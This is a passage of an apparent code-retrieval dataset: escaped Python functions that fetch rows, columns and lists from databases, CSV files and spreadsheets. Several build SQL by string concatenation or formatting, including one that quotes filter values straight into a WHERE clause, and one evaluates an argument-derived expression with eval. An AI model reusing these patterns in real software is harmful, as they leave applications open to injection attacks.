cur.execute(\"SELECT \" + col + \" FROM \" + table)\n text_data = cur.fetchall() #list of tuples\n text_data = strip_tuple(text_data)\n text_data = clean_text(text_data)\n return(text_data)","def take(sourceTable, listOfFields):\n # print table\n # if not sourceTable:\n # print 'error: wrong separator'\n # exit()\n try:\n result = []\n [result.append([i[j] for i in sourceTable]) for j in listOfFields]\n except:\n print 'error: wrong column number'\n exit()\n return result","def parse_list(queries):\n if queries:\n if not hasattr(queries, '__len__') or isinstance(queries, six.string_types):\n # make a list if needed\n queries = [queries]\n return [hxl.model.RowQuery.parse(query) for query in queries]\n else:\n return []","def parse_row(input_row, parsers):\n\n return [parser(value) if parser is not None else value\n for value, parser in zip(input_row, parsers)]","def read_entry_lists(floor_csv, par_df):\n # print(\"Info : my_lib/entry_list/read_entry_lists().\")\n par_id_list = par_df[\"ID\"].values.tolist()\n genre_code_list = par_df[\"GENRE_CODE\"].values.tolist()\n\n \"\"\"\n floor.csv\n ---------\n ID,X,Y,BLOCK\n 27,0,0,C\n 26,1,0,C\n 25,2,0,C\n \"\"\"\n tbl_df = pd.read_csv(floor_csv,\n sep=',', engine='python')\n tbl_id_list = tbl_df[\"ID\"].values.tolist()\n return tbl_id_list, par_id_list, genre_code_list","def line_to_list(self, _line):\n\n\t\tresult = list()\t\t\n\t\t_line_splited = _line.split('\\t')\n\t\t\n\t\tfor value in _line_splited:\n\t\t\tvalue_stripped = value.strip().rstrip()\t\t\t\n\t\t\tresult.append(value_stripped)\t\t\t\t\n\t\t\n\t\treturn result","def get_results(self) -> List[str]:\n output = []\n for row in self.row_layout.children():\n if self.possible_values is None:\n text = row.itemAt(0).widget().text()\n else:\n text = row.itemAt(0).widget().currentText()\n\n if text != \"\":\n output.append(text)\n return output","def get_rows(self, tbl):\n statmt = \"select * from %s\" % tbl\n self.cur.execute(statmt)\n rows = list(self.cur.fetchall())\n return rows","def getIntRow(self, int: int) -> typing.List[int]:\n ...","def row(self, row: int) -> list:\n index_start = row * 9\n return self.grid[index_start:index_start+9]","def sql_query_fetch_list(self,sql):\n\t\tif self.connected:\n#\t\t\t self.__cursor.execute(sql)\n#\t\t\t results = np.asarray(self.__cursor.fetchall())\n\t\t\tcur = self.__engine.execute(sql)\n\t\t\tresults = np.asarray(cur.fetchall())\n\t\t\tcur.close()\n\t\t\treturn results\n\t\telse:\n\t\t\tprint ('db not connected yet. Do connect first')","def get_rows(self) -> List[List[str]]:\n rows = []\n max_col_len = max([len(i) for i in self.param_cols.values()])\n for row_num in range(max_col_len):\n row = []\n first = True\n for parameter in self.parameters:\n try:\n sub_row = self.param_cols[parameter.name][row_num]\n except IndexError:\n sub_row = ['' for _ in range(parameter.num_values + 1)]\n if not first:\n sub_row.insert(0, '')\n row.extend(sub_row)\n first = False\n rows.append(row)\n\n return rows","def read_items(self, query=None, val=None):\n with self.conn:\n with self.conn.cursor() as curr:\n curr.execute(query, val)\n rows = curr.fetchall()\n self.conn.close()\n return rows","def values(line):\n return [v.strip() or None for v in text(line).split(',')]","def extractValuesColumn(self, row):\n\n ret = []\n for j in range(self.shapeColumn):\n ret.append(self.buttons[row][j].text())\n\n return ret","def parse_row(input_row, parsers):\n return [try_or_none(parser)(value) if parser is not None else value\n for value, parser in zip(input_row, parsers)]","def from_csv_line(line):\r\n return line.strip().split(',')","def rows_body(self) -> List[List]:\n return self.rows[1:]","def pluck(field_name, rows):\n return map(picker(field_name), rows)","def pluck(field_name, rows):\n return map(picker(field_name), rows)","def fetch_col(self, sql):\n result = []\n\n curs = self.q(sql, True)\n for row in curs:\n result.append(row[0])\n\n curs.close()\n return result","def fetch_tuples(jwt_payload: dict, schema_name: str, table_name: str):\n DJConnector.set_datajoint_config(jwt_payload)\n\n schema_virtual_module = dj.create_virtual_module(schema_name, schema_name)\n\n # Get the table object refernece\n table = getattr(schema_virtual_module, table_name)\n\n # Fetch tuples without blobs as dict to be used to create a\n # list of tuples for returning\n non_blobs_rows = table.fetch(*table.heading.non_blobs, as_dict=True,\n limit=DEFAULT_FETCH_LIMIT)\n\n # Buffer list to be return\n rows = []\n\n # Looped through each tuple and deal with TEMPORAL types and replacing\n # blobs with ==BLOB== for json encoding\n for non_blobs_row in non_blobs_rows:\n # Buffer object to store the attributes\n row = []\n # Loop through each attributes, append to the tuple_to_return with specific\n # modification based on data type\n for attribute_name, attribute_info in table.heading.attributes.items():\n if not attribute_info.is_blob:\n if non_blobs_row[attribute_name] is None:\n # If it is none then just append None\n row.append(None)\n elif attribute_info.type == 'date':\n # Date attribute type covert to epoch time\n row.append((non_blobs_row[attribute_name] -\n datetime.date(1970, 1, 1)).days * DAY)\n elif attribute_info.type == 'time':\n # Time attirbute, return total seconds\n row.append(non_blobs_row[attribute_name].total_seconds())\n elif attribute_info.type in ('datetime', 'timestamp'):\n # Datetime or timestamp, use timestamp to covert to epoch time\n row.append(non_blobs_row[attribute_name].timestamp())\n elif attribute_info.type[0:7] == 'decimal':\n # Covert decimal to string\n row.append(str(non_blobs_row[attribute_name]))\n else:\n # Normal attribute, just return value with .item to deal with numpy\n # types\n if isinstance(non_blobs_row[attribute_name], np.generic):\n row.append(np.asscalar(non_blobs_row[attribute_name]))\n else:\n row.append(non_blobs_row[attribute_name])\n else:\n # Attribute is blob type thus fill it in string instead\n row.append('=BLOB=')\n\n # Add the row list to tuples\n rows.append(row)\n return rows","def _sqllist(values):\n items = []\n items.append('(')\n for i, v in enumerate(values):\n if i != 0:\n items.append(', ')\n items.append(sqlparam(v))\n items.append(')')\n return SQLQuery(items)","def sqllist(lst):\n if isinstance(lst, basestring): \n return lst\n else:\n return ', '.join(lst)","def selectData(self, sql: str) -> List:\n try:\n connection = self.connect()\n cursor = connection.cursor() \n data = cursor.execute(sql)\n result = data.fetchall() \n return result\n except Exception as e:\n logging.error(f'{self.cn} Exception: {e}', exc_info=1)\n logging.error(f'{self.cn} SQL: {sql}')","def _get_row(self, topology_list):\n new_row = []\n if len(topology_list) == 1:\n topology_list = topology_list[0]\n master = topology_list[0]\n slaves = topology_list[1]\n for slave in slaves:\n if len(slave) == 1:\n new_slave = slave[0]\n else:\n new_slave = slave\n new_row.append((master, new_slave[0]))\n new_row.extend(self._get_row(new_slave))\n return new_row","def selectAll(conn, params):\n cur = conn.cursor()\n cur.execute(f\"SELECT {params} FROM criptomonedas\")\n\n # rows = cur.fetchall()\n rows = [r[0] for r in cur]\n # for row in rows:\n # print(row[0])\n return rows","def get_rows(csv):\n\n labels = csv[0][2:].split(',')\n\n # Convert each row into a hash of label: value\n return [dict(zip(labels, row.split(','))) for row in csv[1:]]","def pop_table_row(\n self, table: Table, row: Optional[Index] = None, as_list: bool = False\n ) -> Union[Dict, List]:\n self._requires_table(table)\n row = if_none(row, table.index[0])\n\n values = table.get_row(row, as_list=as_list)\n table.delete_rows(row)\n return values","def toListOfTuple(self, df:pd.core.frame.DataFrame) -> List[Tuple]: \n df['TIME_STAMP'] = df['TIME_STAMP'].astype('str')\n records = df.to_records(index=False)\n listOfTuple = list(records)\n return listOfTuple","def print_row(l):\n if type(l) is list:\n return \" \".join(l)\n else:\n return l","def execute_and_fetch(db, query):\n rows = []\n\n db.query(query)\n res = db.use_result()\n row = res.fetch_row()\n while row != ():\n rows.append(row[0])\n row = res.fetch_row()\n return rows"],"string":"[\n \"def getRow(self, row):\\n returnvalue = list()\\n for item in self._value[row]:\\n returnvalue.append(item)\\n return returnvalue\",\n \"def _get_xls_row_vals(self, row):\\n return [v.value for v in row]\",\n \"def values(table, row, columns):\\n\\n values = []\\n for x, column in enumerate(columns):\\n # Get value\\n value = row[x]\\n\\n if table[column].startswith(\\\"INTEGER\\\"):\\n values.append(int(value) if value else 0)\\n elif table[column] == \\\"BOOLEAN\\\":\\n values.append(1 if value else 0)\\n elif table[column] == \\\"TEXT\\\":\\n # Clean empty text and replace with None\\n values.append(value if value and len(value.strip()) > 0 else None)\\n else:\\n values.append(value)\\n\\n return values\",\n \"def get_values(self, col) :\\n\\n if col not in self.cols :\\n raise Exception('Column %s not in data' % col)\\n\\n select_sql = 'SELECT \\\"%s\\\" FROM \\\"%s\\\" ORDER BY __ROWID ASC' % (col, self.name)\\n cur = self.con.cursor()\\n cur.execute(select_sql)\\n vs = cur.fetchall()\\n return [v[0] for v in vs]\",\n \"def fetchall(self):\\r\\n debug.write(\\\"[SourceRPG] Handling fetchall\\\", 2)\\r\\n trueValues = []\\r\\n for value in self.cursor.fetchall():\\r\\n if isinstance(value, tuple):\\r\\n if len(value) > 1:\\r\\n tempValues = []\\r\\n for tempValue in value:\\r\\n if isinstance(tempValue, long):\\r\\n tempValue = int(tempValue)\\r\\n tempValues.append(tempValue)\\r\\n trueValues.append(tempValues)\\r\\n else:\\r\\n if isinstance(value[0], long):\\r\\n trueValues.append(int(value[0]))\\r\\n else:\\r\\n trueValues.append(value[0])\\r\\n else:\\r\\n if isinstance(value, long):\\r\\n value = int(value)\\r\\n trueValues.append(value)\\r\\n for value in trueValues:\\r\\n debug.write(\\\"Result: %s\\\" % value, 4)\\r\\n debug.write(\\\"[SourceRPG] Returning the result\\\", 2)\\r\\n return trueValues\",\n \"def ConvertRow(self, row):\\n i = 0\\n data = []\\n for entry in row['f']:\\n data.append(self.Convert(entry['v'], self.schema[i]))\\n i += 1\\n return tuple(data)\",\n \"def column_values(table: list[dict[str, str]], column: str) -> list[str]:\\n result: list[str] = []\\n for row in table:\\n item: str = row[column]\\n result.append(item)\\n\\n return result\",\n \"def column_values(table: list[dict[str, str]], column: str) -> list[str]:\\n result: list[str] = []\\n for row in table:\\n item: str = row[column]\\n result.append(item)\\n\\n return result\",\n \"def create_list(row):\\n name = row['Name']\\n cd = row['Condition description']\\n br0 = row['birad[0]']\\n br1 = row['birad[1]']\\n br2 = row['birad[2]']\\n br3 = row['birad[3]']\\n br4 = row['birad[4]']\\n br5 = row['birad[5]']\\n br6 = row['birad[6]']\\n rm = row['Relevant modalities']\\n rf = row['Relevant findings']\\n uf = row['Unique findings']\\n ai = row['Additional info']\\n params = row['Parameters']\\n try:\\n t = row['Typical']\\n except:\\n t = ''\\n try:\\n p = row['Possible']\\n except:\\n p = ''\\n try:\\n a = row['Atypical']\\n except:\\n a = ''\\n try:\\n gen = row['None']\\n except:\\n gen = ''\\n try:\\n u = row['Unrelated']\\n except:\\n u = ''\\n try:\\n pat = row['Pathogenomonic']\\n except:\\n pat = ''\\n try:\\n n = row['Negative']\\n except:\\n n = ''\\n try:\\n i = row['Ignore']\\n except:\\n i = ''\\n try:\\n notes = row['Notes']\\n except:\\n notes = ''\\n ac = row['Associated conditions']\\n dd = row['Differential diagnosis']\\n return [name, cd, br0, br1, br2, br3, br4, br5, br6, rm, rf, uf, ai, params, t, p, a, gen, u, pat, n, i, ac, dd, notes]\",\n \"def column_values(table: list[dict[str, str]], column_name: str) -> list[str]:\\n column_values: list[str] = []\\n for row in table:\\n item: str = row[column_name]\\n column_values.append(item)\\n return column_values\",\n \"def column_values(table: list[dict[str, str]], column: str) -> list[str]:\\n values: list[str] = []\\n for row in table:\\n values.append(row[column])\\n return values\",\n \"def _extract(self, row):\\n if not self._head:\\n self._head = self._create_head(row)\\n if self._args.head:\\n return\\n\\n if 'extract' not in self._state:\\n self._state['extract'] = self._replace_fields(self._args.extract)\\n\\n r = list(map(self._convert, row))\\n return eval(self._state['extract'])\",\n \"def _convert_row(self, row) :\\n\\n self.row_id += 1\\n data = [self.row_id]\\n\\n if type(row) == type({}) :\\n data.extend(row.get(col, None) for col in self.cols[1:])\\n elif type(row) in [type([]), type(())] :\\n data.extend(row)\\n elif type(row) == RowReference :\\n data.extend(row.values())\\n else :\\n raise Exception(\\n 'Don''t know how to add row from: %s ' % str(row)\\n )\\n\\n if len(data) != len(self.cols) :\\n raise Exception(\\n 'Wrong number of values for new row with cols %s: %s' % \\n (str(self.cols), str(data))\\n \\n )\\n\\n return data\",\n \"def getRowVals(self, row=None, include_nones=None): # Returns: row values\\n if row is None or row < 1 or row > self.nRow:\\n raise SelectError(f\\\"bad row number :{row}\\\") \\n \\n vals = []\\n for ci in range(self.nCol):\\n col = ci + 1\\n val = self.getCellVal(row=row, col=col)\\n if include_nones or not self.isEmpty(val):\\n vals.append(val)\\n return vals\",\n \"def getStringRow(self, int: int) -> typing.List[str]:\\n ...\",\n \"def ex_list(data):\\n return tuple(data)\",\n \"def get_table_row(\\n self, table: Table, row: Index, as_list: bool = False\\n ) -> Union[Dict, List]:\\n self._requires_table(table)\\n values = table.get_row(row, as_list=as_list)\\n notebook_print(text=values)\\n return values\",\n \"def getValuesFromField(self, table_fullpath, where_clause, field):\\r\\n \\r\\n try:\\r\\n rows = arcpy.SearchCursor(table_fullpath, where_clause, \\\"\\\", field, \\\"\\\")\\r\\n return [str(row.getValue(field)) for row in rows]\\r\\n finally:\\r\\n del rows\",\n \"def select_string(self, rows: List[Row], column: StringColumn) -> List[str]:\\n return [str(row.values[column.name]) for row in rows if row.values[column.name] is not None]\",\n \"def getSentenceList(row, field):\\n\\n return list(row[field].sents)\",\n \"def __parseCsvRow(row):\\r\\n \\r\\n resultRow = []\\r\\n for item in row:\\r\\n if type(item) is str:\\r\\n if \\\".\\\" in item:\\r\\n try:\\r\\n f = float(item)\\r\\n resultRow.append(f)\\r\\n except ValueError:\\r\\n resultRow.append(item)\\r\\n else:\\r\\n try:\\r\\n i = int(item)\\r\\n resultRow.append(i)\\r\\n except ValueError:\\r\\n resultRow.append(item)\\r\\n else:\\r\\n resultRow.append(item)\\r\\n return resultRow\",\n \"def obtenerValoresItem(self,row):\\n values=[]\\n for col in range(0,self.tableFactura.columnCount()):\\n values.append(self.tableFactura.item(row,col).text())\\n return values\",\n \"def get_rows(listings, cols):\\n rows = []\\n # Loop over each listing\\n for child in listings:\\n row = []\\n # For each column that has been specified\\n for col in cols:\\n # Extract the element using the column's xpath\\n value = child.xpath(col['xpath'])\\n if col['vtype'] == 'scalar':\\n # if it's a scalar, just append it\\n if type(value) != lxml.etree._ElementUnicodeResult and \\\\\\n type(value) != lxml.etree._ElementStringResult and \\\\\\n type(value) != float and \\\\\\n type(value) != int:\\n raise TypeError(\\\"vtype doesn't match value. col name: \\\" +col['name'] + \\\" col vtype: \\\" + col['vtype'] + \\\" value: \\\" + str(type(value)))\\n row.append(value if value != '' else np.nan)\\n elif col['vtype'] == 'list':\\n # if it's a list of sub nodes, grab them, join them with a comma,\\n # then insert as a string\\n if type(value) != list:\\n raise TypeError(\\\"vtype doesn't match value. col name: \\\" +col['name'] + \\\" col vtype: \\\" + col['vtype'] + \\\" value: \\\" + str(type(value)))\\n row.append(\\\",\\\".join(value) if len(value) > 0 else np.nan)\\n\\n if(len(row) > 0):\\n rows.append(row)\\n return rows\",\n \"def value_in(table_rows, values=[], col_name=\\\"\\\", col_num=-1):\\n key = col_name\\n if(key==\\\"\\\"):\\n key = table_rows[0].keys[col_num]\\n rst = True\\n lst = []\\n for i in range(len(table_rows)):\\n value = table_rows[i].get_d_value(key)\\n if(value not in values):\\n rst = False\\n lst.append(\\\"(col:{0},row:{1}:value:{2}\\\".format(\\n key, i, value\\n ))\\n return rst,\\\",\\\".join(lst)\",\n \"def get_list(\\n self,\\n row='',\\n col='',\\n entry='',\\n flat=False\\n ):\\n # if row is chosen\\n if row and not col:\\n # first try to return what's in the cache\\n try:\\n return self._cache[row,entry,flat]\\n except:\\n pass\\n\\n # otherwise, start searching\\n if row not in self.rows:\\n print(\\\"[!] The row you selected is not available.\\\")\\n else:\\n # first, get the row ids\\n data = self._array[self._idx[row]]\\n\\n # if only row is chosen, return the ids\\n if not entry:\\n\\n # check for flat representation\\n if flat:\\n entries = [i for i in data.flatten() if i != 0]\\n else:\\n entries = data.tolist()\\n\\n # if row and entry-type is chosen, return the entry-type\\n else:\\n # get the index for the entry in the data dictionary\\n idx = self._header[entry]\\n \\n if flat:\\n # get the entries\\n entries = [self[i][idx] for i in \\n data.flatten() if i != 0]\\n else:\\n # get the entries\\n entries = data.tolist()\\n for i,line in enumerate(data):\\n for j,cell in enumerate(line):\\n if cell != 0:\\n entries[i][j] = self[cell][idx]\\n \\n # append entries to cache\\n self._cache[row,entry,flat] = entries\\n\\n return entries\\n\\n # if column is chosen\\n elif col and not row:\\n # try to return the cache\\n try:\\n return self._cache[col,entry,flat]\\n except:\\n pass\\n\\n if col not in self.cols:\\n print(\\\"[!] The column you selected is not available!\\\")\\n else:\\n data = self._array[:,self.cols.index(col)]\\n \\n if not entry:\\n if flat:\\n entries = [i for i in data if i != 0]\\n else:\\n entries = data.tolist()\\n else:\\n idx = self._header[entry]\\n\\n if flat:\\n entries = [self[i][idx] for i in data if i != 0]\\n\\n else:\\n entries = []\\n for i in data:\\n if i != 0:\\n entries.append(self[i][idx])\\n else:\\n entries.append(0)\\n \\n self._cache[col,entry,flat] = entries\\n \\n return entries\\n \\n elif row and col:\\n print(\\\"[!] You should specify only a value for row or for col!\\\")\\n else:\\n print(\\\"[!] Neither rows nor columns are selected!\\\")\",\n \"def tuple_to_list(tup):\\n return [element for element in tup]\",\n \"def column_to_list(column):\\n column = column.tolist()\\n column_string = \\\"\\\"\\n for i in range(len(column)):\\n current_row = column[i]\\n try:\\n column_string = column_string + current_row + \\\" \\\"\\n except:\\n pass\\n column_list = column_string.split()\\n return column_list\",\n \"def get_csv_tuples() -> list[tuple[str, ...]]:\\n sheet_response = request.urlopen(READ_DATA_SHEET_URL)\\n encoding = sheet_response.headers.get_content_charset('utf-8')\\n sheet_lines = sheet_response.read().decode(encoding).split(\\\"\\\\n\\\")\\n return [tuple(t) for t in csv.reader(sheet_lines)]\",\n \"def _get_values(uprow, types):\\n tmp_uprow = {k: _for_pgsql(v, types[k]) for k, v in uprow.items()}\\n mappable = \\\",\\\".join([\\\"{\\\" + str(k) + \\\"}\\\" for k in uprow.keys()])\\n values = mappable.format(**tmp_uprow)\\n return values\",\n \"def parse_row(row):\\n station_id = parse_substation_code(row)\\n date_and_time = parse_date_and_time(row)\\n depth = parse_depth(row)\\n quality_code = parse_quality_code(row)\\n value = parse_value(row)\\n return [station_id, date_and_time, depth, quality_code, value]\",\n \"def as_list(df: pandas.DataFrame, row=-1) -> list:\\n if df is None:\\n return []\\n if row >= 0:\\n rec = []\\n for col in range(0, 13):\\n rec.append(df.iat[row, col])\\n return rec\\n recs = []\\n for row in range(df.shape[0]):\\n recs.append(as_list(df, row=row))\",\n \"def extractRow(database: str, table: str, columns: list) -> list:\\n\\n bd = _database(database)\\n\\n if bd:\\n\\n tb = _table(database, table)\\n\\n if tb:\\n\\n mode = tb[\\\"modo\\\"]\\n\\n val = -1\\n\\n if mode == \\\"avl\\\":\\n val = avl.extractRow(database, table, columns)\\n\\n elif mode == \\\"b\\\":\\n val = b.extractRow(database, table, columns)\\n\\n elif mode == \\\"bplus\\\":\\n val = bplus.extractRow(database, table, columns)\\n\\n elif mode == \\\"hash\\\":\\n val = hash.extractRow(database, table, columns)\\n\\n elif mode == \\\"isam\\\":\\n val = isam.extractRow(database, table, columns)\\n\\n elif mode == \\\"json\\\":\\n val = json.extractRow(database, table, columns)\\n\\n elif mode == \\\"dict\\\":\\n val = dict.extractRow(database, table, columns)\\n\\n return val\\n\\n else:\\n return []\\n\\n else:\\n return []\",\n \"def parse_rows(self, rows):\\r\\n rows = [\\r\\n (row_id, parse_date(created), student_module_id)\\r\\n for row_id, created, student_module_id in rows\\r\\n ]\\r\\n return rows\",\n \"def get_data(cur, table, col):\\n cur.execute('SELECT {} FROM {}'.format(col, table))\\n d = cur.fetchall()\\n\\n data = []\\n for dat in d:\\n data.append(dat[0])\\n\\n return data\",\n \"def _parse_tuple(self, line):\\n elements = line[1:-1].split(\\\",\\\\t\\\")\\n if len(elements) == len(self.description):\\n return tuple(\\n [\\n pythonize.convert(element.strip(), description[1])\\n for (element, description) in zip(elements, self.description)\\n ]\\n )\\n else:\\n self._exception_handler(\\n InterfaceError, \\\"length of row doesn't match header\\\"\\n )\",\n \"def _select(self, row):\\n if not self._head:\\n self._head = self._create_head(row)\\n\\n if 'indices' not in self._state:\\n fields = self._args.fields.split()\\n self._state['indices'] = [self._get_index(f) for f in fields]\\n\\n return [row[i] for i in self._state['indices']]\",\n \"async def fetch_row(self, query: str, args: Optional[Iterable]=None) -> List:\\n stats.inc('queries', 'SQL')\\n async with self.pool.acquire() as conn:\\n async with conn.cursor() as cur:\\n await cur.execute(query, args)\\n ret = await cur.fetchone()\\n return ret\",\n \"def process_row(self, row: Union[List[dict], dict]) -> List[dict]:\\n rows = listify(row)\\n rows = self.do_pre_row(rows=rows)\\n row_return = [{\\\"internal_axon_id\\\": row[\\\"internal_axon_id\\\"]} for row in rows]\\n rows = self.do_row(rows=rows)\\n self.write_rows(rows=rows)\\n del rows, row\\n return row_return\",\n \"def get_value_list(self, insupdel=0):\\n #NOTE: statement = [record, {...}]\\n result = []\\n if insupdel == StatementType.INSERT:\\n statements = self.statements_insert\\n elif insupdel == StatementType.UPDATE:\\n statements = self.statements_update\\n elif insupdel == StatementType.DELETE:\\n statements = self.statements_delete\\n for statement in statements:\\n result.append([key for key, val in statement[1].items()])\\n return result\",\n \"def expand_row(\\n row: Sequence[Union[str, Sequence[Union[str, Sequence[str]]]]]\\n) -> List[List[str]]:\\n elems_as_lists = []\\n for elem in row:\\n if isinstance(elem, list):\\n elems_as_lists.append(elem)\\n else:\\n elems_as_lists.append([elem])\\n aligned = [list(i) for i in zip_longest(*elems_as_lists, fillvalue=\\\"\\\")]\\n return aligned\",\n \"def read(self, *args):\\n return_values = [[] for _ in range(len(args)+2)]\\n for row in self.iter_rows(*args):\\n for return_array, value in zip(return_values, row):\\n return_array.append(value)\\n\\n return [np.array(x) for x in return_values]\",\n \"def find_all_ids(rows):\\r\\n lines = []\\r\\n road_list=['ML']\\r\\n# road_list=['ML','HV', 'FR']\\r\\n for row in rows:\\r\\n strings=string.split(row,'\\\\n')[1:]\\r\\n for stringI in strings:\\r\\n tokens=string.split(stringI,'\\\\t')\\r\\n if len(tokens)>1:\\r\\n if tokens[11] in road_list:\\r\\n try:\\r\\n lines.append([int(tokens[0]), float(tokens[7]), tokens[2], [float(tokens[8]), float(tokens[9])], int(tokens[1])])\\r\\n except ValueError:\\r\\n print 'bad tokens: ', tokens\\r\\n continue\\r\\n print lines\\r\\n return lines\",\n \"def get_row(A,r=0):\\n\\tA = zip(*A)\\n\\treturn list(A[r])\",\n \"def get_row_values(sheet: xlrd.sheet.Sheet, rowx: int,\\n datemode: int = DEFAULT_DATEMODE) -> tuple:\\n row = sheet.row(rowx)\\n values = (Worksheet.cell_to_value(cell, datemode) for cell in row)\\n return tuple(values)\",\n \"def _add_from_list(self, row) :\\n\\n data = [0]\\n data.extend(row[:len(self.cols)-1])\\n cols = self.cols[:len(data)]\\n self._insert_internal(cols, data)\",\n \"def get_description_from_row(row):\\n return [\\n (\\n name, # name\\n get_type(value), # type_code\\n None, # [display_size]\\n None, # [internal_size]\\n None, # [precision]\\n None, # [scale]\\n get_type(value) == Type.STRING, # [null_ok]\\n )\\n for name, value in row.items()\\n ]\",\n \"def values(self):\\n return [row.values for row in self]\",\n \"def rows_to_list(records):\\n raw_list = []\\n for record in records:\\n items = record.items()\\n raw_list.append({i[0]: i[1].rstrip() if type(\\n i[1]) == str else i[1] for i in items})\\n\\n # Process data for compounding flag to be boolean since SQLite does not have a boolean type\\n processed_list = []\\n for row in raw_list:\\n if 'compounding_flag' in row:\\n if row['compounding_flag'] == '1':\\n row['compounding_flag'] = True\\n else:\\n row['compounding_flag'] = False\\n processed_list.append(row)\\n\\n # If processed list is empty, no processing was done, just assign raw list\\n if not processed_list:\\n processed_list = raw_list\\n\\n return processed_list\",\n \"def get_row(line_contents, column_names):\\n\\n row = []\\n\\n for column_name in column_names:\\n\\n line_value = line_contents[column_name]\\n\\n if isinstance(line_value, unicode):\\n\\n row.append('{0}'.format(line_value.encode('utf-8')))\\n\\n elif line_value is not None:\\n\\n row.append('{0}'.format(line_value))\\n\\n else:\\n\\n row.append('')\\n\\n return row\",\n \"def rows_from_data (data):\\n return data.tolist() # use numpy.ndarray conversion function\",\n \"def construct_list(cursor):\\n header = [h[0] for h in cursor.description]\\n data = cursor.fetchall()\\n return header, data\",\n \"def get_data(num_cols, num_rows, delimiter=',', quote_strings=False):\\n generators = [\\n bool_generator, # boolean\\n integer_generator, # tinyint\\n integer_generator, # smallint\\n integer_generator, # int\\n integer_generator, # bigint\\n floating_point_generator, # float\\n floating_point_generator, # double\\n quote(integer_generator) if quote_strings else integer_generator, # string\\n ]\\n # Create a generator instance for each column, cycling through the different types\\n iter = itertools.cycle(generators)\\n column_generators = [next(iter)() for i in range(num_cols)]\\n\\n # Populate each row using column_generators\\n rows = []\\n for i in range(num_rows):\\n vals = [next(gen) for gen in column_generators]\\n rows.append(delimiter.join(vals))\\n return rows\",\n \"def stmt2list(self, stmt):\\n temp = ['%s\\\\n' % line for line in stmt.split('\\\\n')]\\n return temp\",\n \"def rows(self):\\n return list(self)\",\n \"def stringify_list(rows, separator='\\\\t'):\\n return (separator.join(toolz.map(text_type, row)) for row in rows)\",\n \"def filter(self, row):\\r\\n return list(itertools.compress(row, self.selectors))\",\n \"def getSq3Vals(self, row=None, col=None):\\n if row is None or row < 1 or row > self.nRow:\\n raise SelectError(f\\\"bad row {row}\\\")\\n \\n if col is None or col < 1 or col > self.nCol:\\n raise SelectError(f\\\"bad col {col}\\\")\\n \\n sq3_vals = []\\n first_row = 1 + self.nSubRow*int((row-1)/self.nSubRow)\\n first_col = 1 + self.nSubCol*int((col-1)/self.nSubCol)\\n for ir in range(self.nSubRow):\\n for ic in range(self.nSubCol):\\n r = first_row + ir\\n c = first_col + ic\\n val = self.getCellVal(r, c)\\n if not self.isEmpty(val): # Assumes no duplicates\\n sq3_vals.append(val)\\n\\n \\n if SlTrace.trace(\\\"any\\\"):\\n sq3_vals_strs = list(map(str, sq3_vals))\\n SlTrace.lg(f\\\"getSq3Vals(row={row}, col={col}) = \\\"\\n + \\\", \\\".join(sq3_vals_strs)) \\n return sq3_vals\",\n \"def call_table(conn, table):\\r\\n cursor = conn.cursor()\\r\\n values_list = []\\r\\n header_list = get_header(conn, table) # list with table header values\\r\\n sql = f\\\"SELECT * FROM {table}\\\"\\r\\n cursor.execute(sql)\\r\\n for value in cursor.fetchall(): # iterates over list of tuples\\r\\n value_dict = dict() # dictionary to store each row values. keys = column headers, value = respective row value\\r\\n for index, c_header in enumerate(header_list):\\r\\n value_dict[f\\\"{c_header}\\\"] = value[index]\\r\\n values_list.append(value_dict)\\r\\n return values_list\",\n \"def read(self,s,v):\\n self.cur.execute(s,v)\\n data = self.cur.fetchall()\\n return data\",\n \"def get_list_from_child_table(child_lines: list, field: str):\\n return list(map(lambda child_line: child_line.get(field), child_lines))\",\n \"def test_convert_list_of_lists_to_teradata_rows():\\n data = [('value1', 2, 3), ('value2', 5, 6)]\\n columns = ['str_col', 'int_col_1', 'int_col_2']\\n\\n output = row_handling.convert_list_of_lists_to_teradata_rows(data, columns)\\n\\n assert output[1]['int_col_2'] == 6\",\n \"def select(self, table_name: str, row_filter: dict) -> list:\\n sql = 'SELECT * FROM ' + table_name + ' WHERE '\\n for key, value in row_filter.items():\\n if type(value) is tuple:\\n sql += key + ' '\\n sql += value[0] + ' '\\n sql += \\\"'\\\" + value[1] + \\\"'\\\"\\n elif type(value) == str:\\n sql += key + ' = '\\n sql += \\\"'\\\" + value + \\\"'\\\"\\n elif value is None:\\n sql += key + ' ISNULL '\\n else:\\n sql += key + ' = '\\n sql += str(value)\\n if not key == list(row_filter.keys())[-1]:\\n sql += ' AND '\\n return self.cursor.execute(sql).fetchall()\",\n \"def get_string_list(self, column):\\r\\n tempList = QStringList()\\r\\n result = QtSql.QSqlQuery('''SELECT DISTINCT %s FROM presentations''' % column)\\r\\n while result.next():\\r\\n tempList.append(result.value(0).toString())\\r\\n return tempList\",\n \"def get_content(header, row):\\n # print 'row',row\\n content = row[0:]\\n result = []\\n for h in header:\\n # print 'ts',h\\n result.append([h[0], float(content[h[1]])])\\n # print result\\n return result\",\n \"def test_map_reduce_row_list(self):\\n outfile = cStringIO.StringIO()\\n var_order = [2,1,0]\\n\\n \\n # Write out in the order 2, 1, 0. In a normal program those constants\\n # would come from an enum indicating the order in which the fields\\n # appear in schema\\n\\n aggregator = lra.LineRawHandleAggregator(outfile, var_order = var_order)\\n\\n rows = [{0: 'world', 1: 'there', 2: 'hello'},\\n {0: 'good', 1: 'is', 2: 'this'}]\\n \\n\\n return_val = aggregator.map_reduce_row_list(rows)\\n\\n self.assertIsNone(return_val)\\n self.assertEqual(outfile.getvalue(),\\n 'INSERT\\\\nhello\\\\nthere\\\\nworld\\\\nENDINSERT\\\\n'\\n 'INSERT\\\\nthis\\\\nis\\\\ngood\\\\nENDINSERT\\\\n')\",\n \"def get_rows(self) -> List[List[str]]:\\n return self.content\",\n \"def rows(self) -> java.util.Collection:\\n ...\",\n \"def column_to_list(data, index):\\n return [line[index] for line in data]\",\n \"def get_text_data(db, table, col):\\n con = lite.connect(db)\\n with con:\\n cur = con.cursor()\\n cur.execute(\\\"SELECT \\\" + col + \\\" FROM \\\" + table)\\n text_data = cur.fetchall() #list of tuples\\n text_data = strip_tuple(text_data)\\n text_data = clean_text(text_data)\\n return(text_data)\",\n \"def take(sourceTable, listOfFields):\\n # print table\\n # if not sourceTable:\\n # print 'error: wrong separator'\\n # exit()\\n try:\\n result = []\\n [result.append([i[j] for i in sourceTable]) for j in listOfFields]\\n except:\\n print 'error: wrong column number'\\n exit()\\n return result\",\n \"def parse_list(queries):\\n if queries:\\n if not hasattr(queries, '__len__') or isinstance(queries, six.string_types):\\n # make a list if needed\\n queries = [queries]\\n return 